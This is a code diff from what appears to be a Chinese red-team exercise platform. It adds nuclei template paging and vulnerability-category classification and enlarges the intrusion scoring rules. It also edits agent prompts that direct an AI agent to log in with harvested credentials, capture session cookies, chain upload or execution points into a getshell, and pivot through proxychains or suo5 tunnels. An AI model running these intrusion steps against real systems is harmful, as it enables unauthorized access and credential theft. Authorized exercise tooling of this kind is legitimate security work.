@@ -92,7 +92,7 @@ window.__ModuleLoader__.load({
.rt-kv{display:flex;gap:8px;margin-bottom:3px;align-items:baseline}
.rt-kv b{color:var(--dsw-alias-label-primary);font-weight:600;min-width:64px;flex:none}
/* 图谱视图已移除(见 AssetsTab:资产关系由「域名维度」与 redteam_attack_path 工具承担) */
.rt-pane{flex:1;overflow:auto;padding:12px}
.rt-pane{flex:1;min-height:0;overflow:auto;padding:12px}
.rt-card{border:1px solid var(--dsw-alias-border-l1);border-radius:8px;padding:10px;margin-bottom:10px;background:var(--dsw-alias-bg-layer-2)}
.rt-card h4{margin:0 0 6px;font-size:13px}
.rt-textarea{width:100%;min-height:260px;background:var(--dsw-alias-bg-base);border:1px solid var(--dsw-alias-border-l1);
@@ -2243,8 +2243,13 @@ window.__ModuleLoader__.load({
const [openId, setOpenId] = React.useState(null)
const [detail, setDetail] = React.useState(null)
const [detailBusy, setDetailBusy] = React.useState(false)
const [tplOffset, setTplOffset] = React.useState(0)
const tplPageSize = 40
const query = (over) => {
const extra = over || {}
const offset = Object.prototype.hasOwnProperty.call(extra, 'templateOffset') ? extra.templateOffset : 0
setTplOffset(offset)
const params = Object.assign({
q: q.trim() || undefined,
kind: kind || undefined,
@@ -2252,7 +2257,9 @@ window.__ModuleLoader__.load({
engagement: engagement || undefined,
asset_target: assetTarget.trim() || undefined,
verified: verifiedOnly || undefined,
}, over || {})
templateOffset: offset || 0,
templateLimit: tplPageSize,
}, extra)
setBusy(true); setMsg(null)
api(Object.assign({ op: 'pocSearch' }, params)).then((r) => {
setBusy(false)
@@ -2286,8 +2293,17 @@ window.__ModuleLoader__.load({
const stats = (data && data.stats) || { total: 0, verified: 0, reused: 0, byKind: [], bySource: [] }
const items = (data && data.items) || []
const tpl = (data && data.templates) || { dir: null, total: 0, items: [] }
const tpl = (data && data.templates) || { dir: null, total: 0, matched: 0, offset: 0, items: [], byCategory: [] }
const tplByCat = new Map((tpl.byCategory || []).map((c) => [c.code, c.n || 0]))
const catShown = (c) => (c.n || 0) + (tplByCat.get(c.code) || 0)
const tplItems = tpl.items || []
const tplMatched = tpl.matched != null ? tpl.matched : tpl.total
const tplStart = Number(tpl.offset) || 0
const turnTpl = (next) => {
const offset = Math.max(0, next)
setTplOffset(offset)
query({ templateOffset: offset })
}
const card = (x) => {
const isOpen = openId === x.id
@@ -2356,17 +2372,20 @@ window.__ModuleLoader__.load({
h('button', { className: 'rt-btn', disabled: busy, onClick: () => query() }, busy ? '检索中…' : '刷新')),
/* 归类总览:点一下就是按该类筛选,一眼看清"哪类武器攒了多少、哪类还是空的" */
h('div', { className: 'rt-kb-cats' },
(stats.byCategory || []).filter((c) => c.n > 0 || POC_CAT_ORDER.includes(c.code)).map((c) => h('span', {
(stats.byCategory || []).filter((c) => catShown(c) > 0 || POC_CAT_ORDER.includes(c.code)).map((c) => h('span', {
key: c.code,
className: 'rt-concl-i' + (category === c.code ? ' on' : ''),
title: c.hint || ('筛选:' + (POC_CAT_NAME[c.code] || c.code)),
title: (c.hint || POC_CAT_NAME[c.code] || c.code)
+ ' · 本机模板 ' + (tplByCat.get(c.code) || 0)
+ ' · 知识库 ' + (c.n || 0)
+ (c.verified ? '(已验证 ' + c.verified + ')' : ''),
onClick: () => {
const next = category === c.code ? '' : c.code
setCategory(next)
query({ category: next || undefined })
},
},
h('b', null, String(c.n || 0)),
h('b', null, String(catShown(c))),
h('span', null, (POC_CAT_NAME[c.code] || c.code) + (c.verified ? '(已验证 ' + c.verified + ')' : ''))))),
h('div', { className: 'rt-kb-filter' },
h('input', {
@@ -2427,15 +2446,26 @@ window.__ModuleLoader__.load({
tplItems.length
? h('div', { className: 'rt-kb-tpl' },
h('div', { className: 'rt-ap-sub' },
'本机 nuclei 模板命中 · ' + tplItems.length + ' 条(直接 `nuclei -t <模板路径>`)'),
tplItems.map((t, i) => h('div', { key: 't' + i, className: 'rt-kb-tpl-row' },
'本机 nuclei 模板 · ' + (tplStart + 1) + '–' + (tplStart + tplItems.length) + ' / ' + tplMatched
+ '(直接 `nuclei -t <模板路径>`)'),
tplItems.map((t, i) => h('div', { key: 't' + tplStart + '-' + i, className: 'rt-kb-tpl-row' },
h('span', { className: 'rt-tag' }, t.severity || '—'),
t.category ? h('span', { className: 'rt-tag' }, POC_CAT_NAME[t.category] || t.category) : null,
h('span', { className: 'rt-mono rt-kb-tpl-path', title: t.path }, t.path),
h('span', { className: 'rt-kb-tpl-name', title: t.name }, t.name || ''),
h('button', {
className: 'rt-btn', style: { padding: '0 6px', fontSize: 10.5 },
onClick: () => copy('nuclei -t ' + t.path + ' -u <目标>', '模板命令'),
}, '复制命令'))),
h('div', { className: 'rt-kb-actions' },
h('button', {
className: 'rt-btn', disabled: busy || tplStart <= 0,
onClick: () => turnTpl(tplStart - tplPageSize),
}, '上一页'),
h('button', {
className: 'rt-btn', disabled: busy || tplStart + tplItems.length >= tplMatched,
onClick: () => turnTpl(tplStart + tplPageSize),
}, '下一页')),
tpl.dir ? h('div', { className: 'rt-foot' }, h('span', null, '模板目录:' + tpl.dir)) : null)
: null,
data === null ? h('div', { className: 'rt-empty' }, '加载中…') : null,
@@ -2445,7 +2475,7 @@ window.__ModuleLoader__.load({
q || kind || verifiedOnly
? '没有命中:换个关键字再试,或去互联网找 / 自己手搓后回填。'
: (tpl.total
? ('POC/EXP 库还是空的;本机已有 ' + tpl.total + ' 个 nuclei 模板 —— 在上方搜 CVE / 组件即可命中。')
? ('POC/EXP 库还是空的;本机已有 ' + tpl.total + ' 个 nuclei 模板,但这一页没有列出来。请完全退出后重新打开客户端。')
: (tpl.dir
? '知识库还是空的(本机模板目录存在但没有 yaml,请跑 nuclei -update-templates)。'
: '知识库还是空的。本机也还没有 nuclei 模板库 —— 在演练机上跑 setup.sh 或 `nuclei -update-templates`,装好后这里会出现「本机模板 N」。'))),
@@ -2556,12 +2586,13 @@ window.__ModuleLoader__.load({
h('div', { className: 'rt-spacer' }),
h('button', { className: 'rt-btn', disabled: busy, onClick: load }, busy ? '读取中…' : '刷新'),
h('button', { className: 'rt-btn rt-btn-primary', disabled: busy || !draft, onClick: save }, '保存')),
h('div', { className: 'rt-pane', style: { minHeight: 0 } },
err ? h('div', { className: 'rt-err' }, err) : null,
msg ? h('div', { className: msg.err ? 'rt-err' : 'rt-foot' }, msg.err || msg.ok) : null,
h('div', { className: 'rt-card', style: { margin: '8px 12px', fontSize: 12, lineHeight: 1.6 } },
h('div', { className: 'rt-card', style: { margin: '0 0 8px', fontSize: 12, lineHeight: 1.6 } },
adapt.message
|| '均可选填:留空则用默认路径/自动查找。填了的覆盖默认。密钥类只在需要测绘/反弹时才填。'),
h('div', { className: 'rt-card', style: { margin: '8px 12px', fontSize: 12, lineHeight: 1.6 } },
h('div', { className: 'rt-card', style: { margin: '0 0 8px', fontSize: 12, lineHeight: 1.6 } },
h('div', { style: { fontWeight: 600, marginBottom: 6 } }, '整包文件夹 → 自动分配工具'),
h('div', { style: { marginBottom: 8, opacity: 0.9 } },
'工具都在同一个文件夹(含子目录)时,填路径后点「自动分配」:会写入 toolkitDir,并按文件名匹配 nmap / nuclei / fscan 等填到下方。'),
@@ -2577,15 +2608,15 @@ window.__ModuleLoader__.load({
className: 'rt-btn rt-btn-primary', disabled: busy,
onClick: assignFolder,
}, busy ? '扫描中…' : '自动分配'))),
data && data.hint ? h('div', { className: 'rt-card', style: { margin: '8px 12px', fontSize: 12, lineHeight: 1.6 } }, data.hint) : null,
data && data.egress ? h('div', { className: 'rt-card', style: { margin: '8px 12px', fontSize: 12, lineHeight: 1.55 } },
data && data.hint ? h('div', { className: 'rt-card', style: { margin: '0 0 8px', fontSize: 12, lineHeight: 1.6 } }, data.hint) : null,
data && data.egress ? h('div', { className: 'rt-card', style: { margin: '0 0 8px', fontSize: 12, lineHeight: 1.55 } },
h('div', { style: { fontWeight: 600, marginBottom: 6 } }, '出网状态(借鉴 Z3r0 egress,只读)'),
h('div', { className: 'rt-mono', style: { fontSize: 11 } }, 'HTTP_PROXY=' + (data.egress.http_proxy || '(空)')),
h('div', { className: 'rt-mono', style: { fontSize: 11 } }, 'HTTPS_PROXY=' + (data.egress.https_proxy || '(空)')),
h('div', { className: 'rt-mono', style: { fontSize: 11 } }, 'ALL_PROXY=' + (data.egress.all_proxy || '(空)')),
h('div', { className: 'rt-mono', style: { fontSize: 11 } }, 'NO_PROXY=' + (data.egress.no_proxy || '(空)')),
h('div', { style: { marginTop: 6, opacity: 0.85 } }, data.egress.note || '')) : null,
!draft ? h('div', { className: 'rt-empty' }, '加载中…') : h('div', { className: 'rt-pane' },
!draft ? h('div', { className: 'rt-empty' }, '加载中…') : h('div', null,
h('div', { className: 'rt-card' },
h('h4', null, '平台与目录'),
h('div', { style: { display: 'grid', gap: 8 } },
@@ -2658,7 +2689,7 @@ window.__ModuleLoader__.load({
h('div', { className: 'rt-foot' },
h('span', null,
'配置文件:' + ((data && data.config && data.config.path) || '$DSH_HOME/redteam/config.json')
+ ' | 留空字段全部走默认'))))
+ ' | 留空字段全部走默认')))))
}
/* ---------------------------------------------------------- 得分目标 */
+31
View File
@@ -439,6 +439,37 @@ export function guessPocCategory(text) {
return 'other'
}
/**
* 本机 nuclei 模板归到知识库同一套类别。
* 先认 tags 里的词(一个模板经常带很多标签,更具体的漏洞类优先),
* 标签对不上再按路径和名称走 guessPocCategory。
* @param {string} filePath
* @param {string} name
* @param {string} tags
* @returns {string} POC_CATEGORIES 里的 code
*/
export function classifyNucleiTemplate(filePath, name, tags) {
const tokens = new Set(String(tags || '').toLowerCase().split(/[^a-z0-9-]+/).filter(Boolean))
const has = (...words) => words.some((word) => tokens.has(word))
if (has('deserialization', 'deserial', 'fastjson', 'jackson', 'ysoserial')) return 'deserialization'
if (has('fileupload', 'file-upload', 'arbitrary-upload', 'unrestricted-upload')) return 'file-upload'
if (has('sqli', 'sql-injection', 'sqlinjection')) return 'sqli'
if (has('xxe')) return 'xxe'
if (has('ssrf')) return 'ssrf'
if (has('lfi', 'path-traversal', 'directory-traversal', 'traversal', 'arbitrary-file-read', 'fileread', 'file-read')) return 'path-traversal'
if (has('rce', 'command-injection', 'cmdi', 'ssti', 'code-injection')) return 'rce'
if (has('default-login', 'default-logins', 'weak-password', 'weakpass', 'bruteforce', 'brute-force')) return 'weak-password'
if (has('auth-bypass', 'authbypass', 'authentication-bypass')) return 'auth-bypass'
if (has('unauth', 'unauthorized', 'unauthenticated')) return 'unauthorized'
if (has('privesc', 'lpe', 'privilege-escalation')) return 'privesc'
if (has('tunnel')) return 'tunnel'
if (has('exposure', 'disclosure', 'info-leak', 'information-disclosure')) return 'info-leak'
const file = String(filePath || '').replace(/\\/g, '/').toLowerCase()
if (file.includes('/default-logins/')) return 'weak-password'
if (file.includes('/exposures/')) return 'info-leak'
return guessPocCategory([filePath, name, tags].filter(Boolean).join(' '))
}
/* ------------------------------------------------------------------ 靶标库迁移 */
/**
+10 -6
View File
@@ -738,8 +738,8 @@ export const SCORE_GENERAL_RULES = [
]
/**
* 默认得分点 —— **严格对齐《突破入侵类得分规则(合并版)》,共 22 项**
* (一、获取权限 18 条 + 二、突破网络边界 4 条;其中"同一行的不同计费单位"拆为独立得分点,如算力基础设施的管理员权限与算力卡)。
* 默认得分点 —— **严格对齐《突破入侵类得分规则(合并版)》,共 25 项**
* (一、获取权限 21 条 + 二、突破网络边界 4 条,共 8 个类别;其中"同一行的不同计费单位"拆为独立得分点,如算力基础设施的管理员权限与算力卡)。
*
* 与上一版的区别:不再按"同一规则内的权限档位"拆条 —— 一条 = 合并版里的一行
* (`tier` 字段写清该条的档位/子项),只有**计费单位不同**的多档才保留子项
@@ -766,7 +766,7 @@ export const SCORE_GROUPS = [
]
export const DEFAULT_SCORE_POINTS = [
/* ══ 一、获取权限(18 条)══════════════════════════════════════════════ */
/* ══ 一、获取权限(21 条)══════════════════════════════════════════════ */
/* 1 域名控制权限 */
sp(1, 1, '一级 50 / 二级 20 分/个', 'domain-control', '域名控制权限', 'GENERAL', 50, 400, 'system',
@@ -792,11 +792,15 @@ export const DEFAULT_SCORE_POINTS = [
+ '数据成果单独计分(G2);拿到普通权限/未授权时把单次分值调整为 10。'),
/* 5、6 邮箱与业务生产系统(原表两项共用规则与上限) */
sp(5, 5, '管理员 100 / 普通 50 分/个', 'web-app', '邮箱系统 / 办公自动化与业务生产系统权限', 'WEB', 100, 2000, 'system',
sp(5, 5, '管理员 100 / 普通 50 分/个', 'web-app', '邮箱系统 / 办公自动化与业务生产系统 / 其他 Web 应用系统权限', 'WEB', 100, 2000, 'system',
'**管理员权限 100 分/个,普通用户权限 50 分/个;同一个系统只计算一次最高权限分**(G1);本项上限 2000 分(G3)。\n'
+ '本项合并原表第 5、6 项(规则与上限完全相同),记分时在 evidence 里写明是哪类系统:\n'
+ '本项合并原表第 5、6 项(规则与上限完全相同),**即"控制 Web 应用系统"这一类**;记分时在 evidence 里写明是哪类系统:\n'
+ '· **邮箱系统**;\n'
+ '· **办公自动化与业务生产系统**(办公 OA、ERP、直报即时通讯、财务系统、业务生产系统、数据仓库等被控或瘫痪后影响行业或单位业务生产、运行管理、日常办公的系统)。\n'
+ '· **办公自动化与业务生产系统**(办公 OA、ERP、直报即时通讯、财务系统、业务生产系统、数据仓库等被控或瘫痪后影响行业或单位业务生产、运行管理、日常办公的系统);\n'
+ '· **其他 Web 应用系统(兜底归类)**:用凭据清单里的账号实测能登录的 HTTP/HTTPS 站点,'
+ '凡不归入其他更具体的得分点类别(集权系统走第 7 项、大数据系统走第 8 项、云管理平台走第 11 项、物联网管控平台走第 12 项、安全设备走第 13 项等),'
+ '统一按本项计分(管理员 100 / 普通 50)。凭据里只登记了地址、没写系统名或业务归属的 Web 登录(后台、管理端、运营平台、自研业务系统等)也走这一条。'
+ '先判是否有更贴切的类别,没有就归入"控制 Web 应用系统"。记分时 target 写实际登录 URL(带端口),evidence 写清站点、账号和档位。\n'
+ '邮件数据按重要程度再单独计分(G2);拿到普通用户权限时把单次分值调整为 50。'),
/* 7 集权系统 */
+24 -24
View File
@@ -10,8 +10,11 @@
* 判定维度(都是能从技能正文里客观读出来的):
* ① 技能文件是否存在、正文能否加载;
* ② 必需环境变量(`os.environ["X"]` / `process.env.X`;带默认值的 `os.environ.get("X", "…")` 不算必需);
* ③ 正文里引用的本机路径(toolkit / bin / local 下的绝对路径、`$DSH_HOME`、`~/`);
* ④ 外部基础设施占位符(如 `<你的VPS_IP>` 没填)。
* 工具路径和 `<你的VPS_IP>` 这类占位符不作为「整条技能不可用」的条件。
* 技能随插件分发,正文里的 `$DSH_HOME/redteam/toolkit/...`、`~/.dsh/...` 是安装约定,
* 不是某一台电脑上的死路径。`~/.dsh` 与 `$DSH_HOME` 是同一个数据目录。
* 二进制可以在工具箱、环境适配或 PATH 里;VPS 地址按每次任务填写。
* 还没放进去时技能仍然可用。缺必需环境变量(如 FOFA_KEY)仍标为不可用。
*
* 不判定:语义正确性、权限、目标可达性 —— 那些只有真打一次才知道。
*/
@@ -19,12 +22,25 @@ import { existsSync, readFileSync } from 'node:fs'
import { homedir } from 'node:os'
import { resolve } from 'node:path'
/** 解析 $DSH_HOME / ${DSH_HOME} / ~(技能正文里几种写法都有)。 */
/** 产品数据目录:显式 DSH_HOME 优先,否则才是用户主目录下的 .dsh。 */
export function dshHomeOf(env = process.env) {
const fromEnv = env && typeof env.DSH_HOME === 'string' ? env.DSH_HOME.trim() : ''
return fromEnv || resolve(homedir(), '.dsh')
}
/**
* 解析 $DSH_HOME / ${DSH_HOME} / ~/.dsh / ~。
* `~/.dsh` 与 `$DSH_HOME` 是同一目录,不跟随操作系统家目录里的另一个 .dsh。
*/
export function expandSkillPath(p, env = process.env) {
const dshHome = env.DSH_HOME || resolve(homedir(), '.dsh')
const dshHome = dshHomeOf(env)
let out = String(p).trim()
out = out.replace(/\$\{DSH_HOME\}/g, dshHome).replace(/\$DSH_HOME/g, dshHome)
if (out.startsWith('~/')) out = resolve(homedir(), out.slice(2))
if (out === '~/.dsh' || out.startsWith('~/.dsh/') || out.startsWith('~/.dsh\\')) {
out = dshHome + out.slice('~/.dsh'.length)
} else if (out.startsWith('~/')) {
out = resolve(homedir(), out.slice(2))
}
/* Windows 技能正文偶发混用正斜杠 */
if (/^[A-Za-z]:\//.test(out)) out = out.replace(/\//g, '\\')
return out
@@ -112,27 +128,11 @@ export function checkSkill(skill, options = {}) {
for (const n of missingEnv) problems.push('缺环境变量 ' + n + '(在「环境适配」填写,或写进 `$DSH_HOME/.env` 后重启当前宿主)')
const paths = referencedPathsOf(content)
/* 只记录解析后仍不在磁盘上的约定路径,不因此把技能标成不可用。 */
const missingPaths = paths.filter((p) => !existsSync(expandSkillPath(p, env)))
if (missingPaths.length > 0) {
problems.push('引用的本机路径不存在:' + missingPaths.slice(0, 6).join('、')
+ (missingPaths.length > 6 ? ' 等 ' + missingPaths.length + ' 处' : ''))
}
/* 外部基础设施占位符:技能里出现 `<你的VPS_IP>` 这类说明还没配。
但**已经配好的部署不该被误报**:只要 REDTEAM_VPS_HOST 有值,
技能正文里的占位符就只是文档写法(实际命令会用配置值替换),不再算缺口。
判定顺序必须是"先看配置、再看占位符",否则配好 VPS 的机器上
这几个技能会永远显示 broken(模板占位符与真实配置混在一起)。 */
const vpsConfigured = typeof env.REDTEAM_VPS_HOST === 'string' && env.REDTEAM_VPS_HOST.trim() !== ''
const placeholders = []
if (!vpsConfigured) {
if (content.includes('<你的VPS_IP>') || content.includes('<VPS_IP>')) placeholders.push('VPS 地址')
if (content.includes('<你的VPS_主机名>') || content.includes('<VPS 主机名>')) placeholders.push('VPS 主机名')
}
for (const p of placeholders) {
problems.push(p + '还是占位符(技能里写的是占位符,说明本机/本环境还没配)')
needsUser.push(p)
}
/* `<你的VPS_IP>` 是每次任务要填的约定,不是某一台机器没配对。
不因为正文里有占位符就把整条技能标成不可用。 */
for (const n of missingEnv) needsUser.push('环境变量 ' + n)
/* 兜底:同名技能在别的根里有一份"问题更少"的版本(通常是用户自己配过的那份,
+71 -25
View File
@@ -40,7 +40,7 @@ import {
} from './report-replay.js'
import {
DDL, KNOWLEDGE_DDL, ASSET_FTS_DDL, POC_FTS_DDL, HAS_FTS5,
POC_CATEGORIES, pocCategoryName, guessPocCategory,
POC_CATEGORIES, pocCategoryName, guessPocCategory, classifyNucleiTemplate,
migrate, migrateKnowledge,
} from './schema.js'
import {
@@ -61,7 +61,7 @@ export {
ipToInt, cidrOf, isIpv6, expandIpv6, scopeOfIp, slugify, slugTarget, slugPoc,
defaultPocFilename, nowIso,
DDL, KNOWLEDGE_DDL, ASSET_FTS_DDL, POC_FTS_DDL, HAS_FTS5,
POC_CATEGORIES, pocCategoryName, guessPocCategory,
POC_CATEGORIES, pocCategoryName, guessPocCategory, classifyNucleiTemplate,
migrate, migrateKnowledge,
WEBSHELL_TYPES, WEBSHELL_STATUSES, normalizeShellType, normalizeShellStatus, assertPathWithin,
TUNNEL_ENTRY_KINDS, tunnelIsLegit, ACCOUNT_POINT_CODES, SERVICE_CAPPED_POINT_CODES,
@@ -386,9 +386,9 @@ const COMMON_AUTH = `## 授权前提(所有角色都遵守)
const COMMON_SCORE_RULES = `## 记分纪律(所有角色都遵守)
- **一次记分必填两样**:\`code\`(得分点短代码)+ \`evidence\`(**只写结果**:目标资产 + 拿到的东西,如「10.1.2.3|后台管理员 tomcat/Tomcat@2024」)。**缺 code 或 evidence 服务端直接报错**,这一步等于没发生。
- **得分规则已按《突破入侵类得分规则(合并版)》重构为 22 项**(一、获取权限 18 项 + 二、突破网络边界 4 项),另有 8 条通用规则 G1–G8 横切全部条目。**记分前先用 \`redteam_score_list\` 读实际 code、该条上限与计分口径**,不要凭记忆写。常用 code:
- **得分规则已按《突破入侵类得分规则(合并版)》重构为 25 项**(一、获取权限 21 项 + 二、突破网络边界 4 项,共 8 个类别),另有 8 条通用规则 G1–G8 横切全部条目。**记分前先用 \`redteam_score_list\` 读实际 code、该条上限与计分口径**,不要凭记忆写。常用 code:
\`domain-control\`(域名控制)|\`terminal-access\`(终端,5/10 分每台)|\`server-host\`(服务器主机权限含 WebShell)|\`db-credential\`(数据库账号含 SQL 注入)|
\`web-app\`(邮箱 / OA 与业务生产系统)|\`central-system\`(集权系统:堡垒机/域控/SSO/终端管理后台)|\`bigdata-system\`(大数据系统)|
\`web-app\`(**控制 Web 应用系统**:邮箱 / OA 与业务生产系统 / **其他 HTTP(S) 可登录站点** —— 凭据实测能登录、又归不进集权/大数据/云平台/物联网/安全设备等更具体类别的 Web 系统,一律记这一条,管理员 100 / 普通 50)|\`central-system\`(集权系统:堡垒机/域控/SSO/终端管理后台)|\`bigdata-system\`(大数据系统)|
\`netdev\`(网络设备)|\`iiot\`(工业互联网)|\`cloud-platform\`(云管理平台)|\`iot-platform\`(物联网平台)|\`secdev\`(安全设备)|
\`file-storage\`(文件存储)|\`ai-agent\`(模型智能体/skill)|\`model-compute\`(算力管理平台 / 训练数据与知识库)|\`model-data\`(模型相关数据系统)|
\`computepower-admin\` / \`computepower-cards\`(算力基础设施)|\`boundary-logical\`/\`boundary-strong\`/\`boundary-physical\`(突破网络边界 1000/10000/30000 分)|\`boundary-supply\`(供应链/云服务进内网)。
@@ -651,11 +651,12 @@ export const DEFAULT_PROMPTS = {
TUN 层隐蔽通道用 \`ligolo-ng\`(\`$DSH_HOME/redteam/toolkit/ligolo/proxy\` + \`agent\`)。
**每条隧道登记时 \`entry_kind\` 必须说清目标侧那一端**,只在自己 VPS 上开代理填 \`self-only\`(会被标"不算突破")。
5. **再打其它得分项**:账号权限(先落凭据,再用**浏览器实测登录**验证)、数据库权限(拖库、写文件、提权)、大量敏感信息(批量导出,写 \`runs/\` 证据 + 条数字段)、越权与未授权接口的可利用点。
6. **每个成果立刻记分**:\`redteam_score_hit\`(\`server-host\`(服务器主机权限,含 WebShell;普通档 points=10、管理员档 points=50) / \`server-host\`(服务器主机权限;管理员档 points=50) / \`server-host\`(服务器主机权限;管理员档 points=50) / \`web-app\`(邮箱/业务系统;普通档 points=50) / \`web-app\`(邮箱/业务系统;管理员档 points=100) / \`db-credential\`(数据库账号;管理员档 points=50、普通/未授权 points=10) / \`bigdata-system\`(大数据系统,规则 8) …),能带 \`vuln_id\` 就带。
6. **每个成果立刻记分**:\`redteam_score_hit\`(\`server-host\`(服务器主机权限,含 WebShell;普通档 points=10、管理员档 points=50) / \`server-host\`(服务器主机权限;管理员档 points=50) / \`server-host\`(服务器主机权限;管理员档 points=50) / \`web-app\`(控制 Web 应用系统:邮箱/OA/业务生产/其他可登录 Web 站点;普通档 points=50) / \`web-app\`(控制 Web 应用系统;管理员档 points=100) / \`db-credential\`(数据库账号;管理员档 points=50、普通/未授权 points=10) / \`bigdata-system\`(大数据系统,规则 8) …),能带 \`vuln_id\` 就带。
## 拿到账号之后(红线:只有凭据不算拿到账号)
- 必须用技能 \`browser-automation\` / \`kimi-webbridge\` **驱动真实浏览器登录一次**:打开登录页 → 填账号口令(图形/算术验证码自己识别,滑块与二次认证能过就过)→ 确认真的进了后台/业务页(记下页面标题、可见菜单、当前登录用户名)→ 抓下会话 Cookie/Token 存证据 → \`redteam_access_add\`(\`method=web-login\`)。
- **登录成功才记账号权限分**;登不进去(哈希未破解 / 需二次认证或 UKey / 限制来源 IP / 账号已禁用)在 \`redteam_asset_test\` 的 \`test\` 里记一行结论,说明卡在哪。
- **登录成功后的归类**:先判这个 Web 系统属于哪一类得分点(邮箱/OA/业务生产 → \`web-app\`;堡垒机/域控/SSO/终端管理后台 → \`central-system\`;大数据平台 → \`bigdata-system\`;云平台 → \`cloud-platform\`;物联网管控平台 → \`iot-platform\`;安全设备 → \`secdev\`)。若凭据里只是一个能登录的 http/web 站点、又套不进上面任何一类(后台/管理端/运营平台/自研业务系统等),就归入 \`web-app\`(控制 Web 应用系统,管理员 100 / 普通 50)。\`target\` 写实际登录 URL(带端口),evidence 写明站点、账号和档位。
- 目标只在内网可达时:先建 suo5 隧道,再用浏览器带代理访问(\`--proxy-server=socks5://127.0.0.1:<端口>\`),**不许因为"内网访问不到"跳过这一步**。
- 进了后台就逐个功能点问三件事:**能上传吗**(头像/附件/导入/模板/证书/插件/升级包)、**能执行吗**(富文本、模板编辑、报表设计、定时任务、工作流脚本、数据源、备份恢复、在线升级、SQL 查询器)、**能读写路径吗**(文件管理、日志、下载导出、导入、备份)。把命中的点串成 getshell 链。
@@ -691,7 +692,7 @@ export const DEFAULT_PROMPTS = {
- **走隧道**:所有命令加 \`proxychains4 -f runs/proxychains-<port>.conf\`(**只用 \`-f\` 临时配置,绝不改系统配置**);
注意 proxychains 只代理 TCP,Kerberos 的 UDP 与反连场景要用 \`chisel-tunnel\`/\`frp-tunnel\` 做端口映射。
6. **打核心系统**:域控、堡垒机、运维平台、代码仓库、数据库集群、备份系统 → \`code=core-system\`。
7. 每一步都记分:\`boundary\`(互联网边界突破,隧道可达内网)、\`server-host\`/\`central-system\`(按拿到的是什么系统,规则 3/7)(横向到其它主机/网段)、\`central-system\`(集权系统:堡垒机/域控/SSO/终端管理后台;管理员档 points=500)/\`web-app\`(业务系统,规则 6)、\`bigdata-system\`(大数据系统,规则 8)。
7. 每一步都记分:\`boundary\`(互联网边界突破,隧道可达内网)、\`server-host\`/\`central-system\`(按拿到的是什么系统,规则 3/7)(横向到其它主机/网段)、\`central-system\`(集权系统:堡垒机/域控/SSO/终端管理后台;管理员档 points=500)/\`web-app\`(控制 Web 应用系统:邮箱/OA/业务生产/其他可登录 Web 站点,规则 5)、\`bigdata-system\`(大数据系统,规则 8)。
## 本角色的落库重点(内网渗透)
- 内网每条资产 \`redteam_asset_add\`;每次成功访问 \`redteam_access_add\`;每条凭据 \`redteam_credential_add\`(写清 \`source\`/\`tool\`)。
@@ -739,11 +740,15 @@ export function dispatch(store, req = {}) {
/* 知识库是全局的(跨靶标共享),所以这几个 op 不需要 engagement */
if (op === 'pocSearch') {
const items = store.searchPocs(req)
/* "现成的"有两层:本机沉淀的 POC/EXP + 本机 nuclei 模板库。一次返回,省一轮往返。 */
/* "现成的"有两层:本机沉淀的 POC/EXP + 本机 nuclei 模板库。一次返回,省一轮往返。
没关键字时也返回一页模板,面板才能看见本机模板,而不是只显示总数。 */
const q = req.q || req.query || req.cve || req.component || ''
const templates = q
? store.searchTemplates(q, Math.min(Number(req.templateLimit) || 20, 100))
: { dir: store.nucleiTemplatesDir() || null, total: store.templateStats().total, items: [] }
const templates = store.searchTemplates(
q,
Math.min(Number(req.templateLimit) || 40, 80),
Number(req.templateOffset) || 0,
req.category || '',
)
return { ok: true, items, stats: store.pocStats(), templates }
}
if (op === 'pocList') return { ok: true, items: store.searchPocs(req), stats: store.pocStats() }
@@ -871,6 +876,9 @@ export async function dispatchAsync(store, req = {}) {
/* ------------------------------------------------------------------ 服务 */
export class RedteamStore {
/** 本机模板归类缓存,索引数组换了就重算 */
#tplClassified = null
/** @param root 数据根目录(默认 $DSH_HOME/redteam) */
constructor(root) {
this.root = root
@@ -1861,7 +1869,7 @@ export class RedteamStore {
if (row !== undefined) pointId = row.id
}
if (pointId === null) {
throw new Error('score point not found:得分规则已按《突破入侵类得分规则(合并版)》重构为 22 项,'
throw new Error('score point not found:得分规则已按《突破入侵类得分规则(合并版)》重构为 25 项,'
+ '旧 code(web-account-*、webshell、rce、server-shell、db-access、sensitive-data、boundary、internal-pivot、core-system 等)已作废。'
+ '请先用 redteam_score_list 读实际 code,或用 point_id / point_name 指定。')
}
@@ -3751,30 +3759,68 @@ export class RedteamStore {
return { dir, items, cached: false }
}
/**
* 给索引里的每条模板打上知识库归类,并算出各类数量。
* 面板上的「远程命令执行 / SQL 注入 …」用的就是这份数量:知识库还没回填时,
* 数字来自本机模板,而不是一直显示 0。
*/
#classifiedTemplates() {
const index = this.#nucleiIndex()
if (this.#tplClassified && this.#tplClassified.source === index.items) return this.#tplClassified
const counts = new Map()
const rows = []
for (const row of index.items) {
const path = row[0]
const name = row[1]
const severity = row[2]
const tags = row[3]
const file = String(path || '').replace(/\\/g, '/')
const listed = !file.startsWith('.') && !file.includes('/.') && Boolean(name || severity)
const category = listed ? classifyNucleiTemplate(file, name, tags) : 'other'
if (listed) counts.set(category, (counts.get(category) || 0) + 1)
rows.push({ path, name, severity, tags, category, listed })
}
const byCategory = POC_CATEGORIES.map((c) => ({
code: c.code, name: c.name, hint: c.hint, n: counts.get(c.code) || 0,
}))
this.#tplClassified = { source: index.items, dir: index.dir, rows, byCategory }
return this.#tplClassified
}
/** 模板库概览(界面与智能体"先查现成的"都能用)。 */
templateStats() {
const { dir, items } = this.#nucleiIndex()
const cve = items.filter((x) => /cve-\d{4}-\d+/i.test(x[0])).length
return { dir: dir || null, total: items.length, cve }
const { dir, rows, byCategory } = this.#classifiedTemplates()
const cve = rows.filter((x) => /cve-\d{4}-\d+/i.test(x.path || '')).length
return { dir: dir || null, total: rows.length, cve, byCategory }
}
/**
* 在本机 nuclei 模板库里检索:CVE 编号按文件名就能命中,组件/关键字再匹配 name 与 tags。
* 这是"知识库里没有、但本机其实已有现成 POC"的那一层,先查它能省掉一轮互联网检索。
* category 与知识库归类同一套 code,面板点某一类时只列这一类模板。
*/
searchTemplates(q, limit = 40) {
const { dir, items } = this.#nucleiIndex()
if (dir === null) return { dir: null, total: 0, items: [] }
searchTemplates(q, limit = 40, offset = 0, category = '') {
const { dir, rows, byCategory } = this.#classifiedTemplates()
if (dir === null) return { dir: null, total: 0, matched: 0, offset: 0, items: [], byCategory }
const cap = Math.min(Math.max(Number(limit) || 40, 1), 80)
const start = Math.max(Number(offset) || 0, 0)
const raw = String(q || '').trim()
if (raw === '') return { dir, total: items.length, items: [] }
